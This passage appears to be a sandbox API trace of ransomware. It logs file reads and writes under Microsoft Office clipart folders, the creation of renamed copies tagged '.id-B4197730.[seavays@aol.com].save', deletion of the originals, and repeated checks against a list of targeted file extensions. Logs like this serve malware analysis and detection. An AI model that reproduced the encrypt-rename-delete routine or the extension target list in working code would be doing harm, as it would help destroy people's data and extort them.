lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.204] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.204] SetEndOfFile (hFile=0x368) returned 1 [0068.205] CloseHandle (hObject=0x368) returned 1 [0068.208] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.208] SetEndOfFile (hFile=0x2e8) returned 1 [0068.209] CloseHandle (hObject=0x2e8) returned 1 [0068.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0068.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0068.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0068.210] lstrlenW (lpString=".doc") returned 4 [0068.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.210] lstrlenW (lpString=".docx") returned 5 [0068.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.210] lstrlenW (lpString=".pdf") returned 4 [0068.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.210] lstrlenW (lpString=".xls") returned 4 [0068.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.210] lstrlenW (lpString=".xlsx") returned 5 [0068.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.210] lstrlenW (lpString=".ppt") returned 4 [0068.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0068.211] lstrlenW (lpString=".zip") returned 4 [0068.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.211] lstrlenW (lpString=".rar") returned 4 [0068.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.211] lstrlenW (lpString=".bz2") returned 4 [0068.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.211] lstrlenW (lpString=".7z") returned 3 [0068.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0068.211] lstrlenW (lpString=".dbf") returned 4 [0068.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0068.211] lstrlenW (lpString=".1cd") returned 4 [0068.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0068.211] lstrlenW (lpString=".jpg") returned 4 [0068.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.212] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.212] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0068.213] GetLastError () returned 0x0 [0068.213] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xf38, lpOverlapped=0x0) returned 1 [0068.214] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xf40, lpOverlapped=0x0) returned 1 [0068.216] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.216] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.216] SetEndOfFile (hFile=0x368) returned 1 [0068.217] CloseHandle (hObject=0x368) returned 1 [0068.218] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.218] SetEndOfFile (hFile=0x2e8) returned 1 [0068.219] CloseHandle (hObject=0x2e8) returned 1 [0068.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0068.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0068.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0068.221] lstrlenW (lpString=".doc") returned 4 [0068.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.221] lstrlenW (lpString=".docx") returned 5 [0068.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.221] lstrlenW (lpString=".pdf") returned 4 [0068.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.221] lstrlenW (lpString=".xls") returned 4 [0068.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.221] lstrlenW (lpString=".xlsx") returned 5 [0068.221] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.221] lstrlenW (lpString=".ppt") returned 4 [0068.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0068.221] lstrlenW (lpString=".zip") returned 4 [0068.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.221] lstrlenW (lpString=".rar") returned 4 [0068.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.221] lstrlenW (lpString=".bz2") returned 4 [0068.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.221] lstrlenW (lpString=".7z") returned 3 [0068.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0068.221] lstrlenW (lpString=".dbf") returned 4 [0068.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0068.222] lstrlenW (lpString=".1cd") returned 4 [0068.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0068.222] lstrlenW (lpString=".jpg") returned 4 [0068.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.223] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.223] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0068.224] GetLastError () returned 0x0 [0068.224] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xed4, lpOverlapped=0x0) returned 1 [0068.225] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xee0, lpOverlapped=0x0) returned 1 [0068.227] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.227] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.227] SetEndOfFile (hFile=0x368) returned 1 [0068.227] CloseHandle (hObject=0x368) returned 1 [0068.230] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.230] SetEndOfFile (hFile=0x2e8) returned 1 [0068.231] CloseHandle (hObject=0x2e8) returned 1 [0068.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0068.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0068.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0068.233] lstrlenW (lpString=".doc") returned 4 [0068.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.233] lstrlenW (lpString=".docx") returned 5 [0068.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.233] lstrlenW (lpString=".pdf") returned 4 [0068.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.233] lstrlenW (lpString=".xls") returned 4 [0068.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.233] lstrlenW (lpString=".xlsx") returned 5 [0068.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.233] lstrlenW (lpString=".ppt") returned 4 [0068.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0068.233] lstrlenW (lpString=".zip") returned 4 [0068.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.233] lstrlenW (lpString=".rar") returned 4 [0068.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.233] lstrlenW (lpString=".bz2") returned 4 [0068.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.233] lstrlenW (lpString=".7z") returned 3 [0068.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0068.234] lstrlenW (lpString=".dbf") returned 4 [0068.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0068.234] lstrlenW (lpString=".1cd") returned 4 [0068.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0068.234] lstrlenW (lpString=".jpg") returned 4 [0068.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.235] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.235] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0068.235] GetLastError () returned 0x0 [0068.235] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x984, lpOverlapped=0x0) returned 1 [0068.380] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x990, lpOverlapped=0x0) returned 1 [0068.381] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.381] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.381] SetEndOfFile (hFile=0x368) returned 1 [0068.759] CloseHandle (hObject=0x368) returned 1 [0068.760] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.760] SetEndOfFile (hFile=0x2e8) returned 1 [0068.761] CloseHandle (hObject=0x2e8) returned 1 [0068.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0068.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0068.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0068.761] lstrlenW (lpString=".doc") returned 4 [0068.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.761] lstrlenW (lpString=".docx") returned 5 [0068.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.762] lstrlenW (lpString=".pdf") returned 4 [0068.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.762] lstrlenW (lpString=".xls") returned 4 [0068.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.762] lstrlenW (lpString=".xlsx") returned 5 [0068.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.762] lstrlenW (lpString=".ppt") returned 4 [0068.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0068.762] lstrlenW (lpString=".zip") returned 4 [0068.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.762] lstrlenW (lpString=".rar") returned 4 [0068.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.762] lstrlenW (lpString=".bz2") returned 4 [0068.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.762] lstrlenW (lpString=".7z") returned 3 [0068.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0068.762] lstrlenW (lpString=".dbf") returned 4 [0068.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0068.763] lstrlenW (lpString=".1cd") returned 4 [0068.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0068.763] lstrlenW (lpString=".jpg") returned 4 [0068.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.764] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.764] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0068.764] GetLastError () returned 0x0 [0068.764] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2040, lpOverlapped=0x0) returned 1 [0068.766] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2050, lpOverlapped=0x0) returned 1 [0068.767] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.767] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.767] SetEndOfFile (hFile=0x368) returned 1 [0068.767] CloseHandle (hObject=0x368) returned 1 [0068.768] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.768] SetEndOfFile (hFile=0x2e8) returned 1 [0068.769] CloseHandle (hObject=0x2e8) returned 1 [0068.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0068.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.770] lstrlenW (lpString=".doc") returned 4 [0068.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.770] lstrlenW (lpString=".docx") returned 5 [0068.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.770] lstrlenW (lpString=".pdf") returned 4 [0068.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.770] lstrlenW (lpString=".xls") returned 4 [0068.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.771] lstrlenW (lpString=".xlsx") returned 5 [0068.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.771] lstrlenW (lpString=".ppt") returned 4 [0068.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.771] lstrlenW (lpString=".zip") returned 4 [0068.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.771] lstrlenW (lpString=".rar") returned 4 [0068.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.771] lstrlenW (lpString=".bz2") returned 4 [0068.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.771] lstrlenW (lpString=".7z") returned 3 [0068.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.771] lstrlenW (lpString=".dbf") returned 4 [0068.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.771] lstrlenW (lpString=".1cd") returned 4 [0068.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0068.771] lstrlenW (lpString=".jpg") returned 4 [0068.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.773] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.773] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0068.773] GetLastError () returned 0x0 [0068.773] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x73bc, lpOverlapped=0x0) returned 1 [0068.775] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x73c0, lpOverlapped=0x0) returned 1 [0068.777] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.777] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.777] SetEndOfFile (hFile=0x368) returned 1 [0068.777] CloseHandle (hObject=0x368) returned 1 [0068.779] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.779] SetEndOfFile (hFile=0x2e8) returned 1 [0068.780] CloseHandle (hObject=0x2e8) returned 1 [0068.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0068.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0068.781] lstrlenW (lpString=".doc") returned 4 [0068.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.781] lstrlenW (lpString=".docx") returned 5 [0068.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.781] lstrlenW (lpString=".pdf") returned 4 [0068.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.781] lstrlenW (lpString=".xls") returned 4 [0068.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.782] lstrlenW (lpString=".xlsx") returned 5 [0068.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.782] lstrlenW 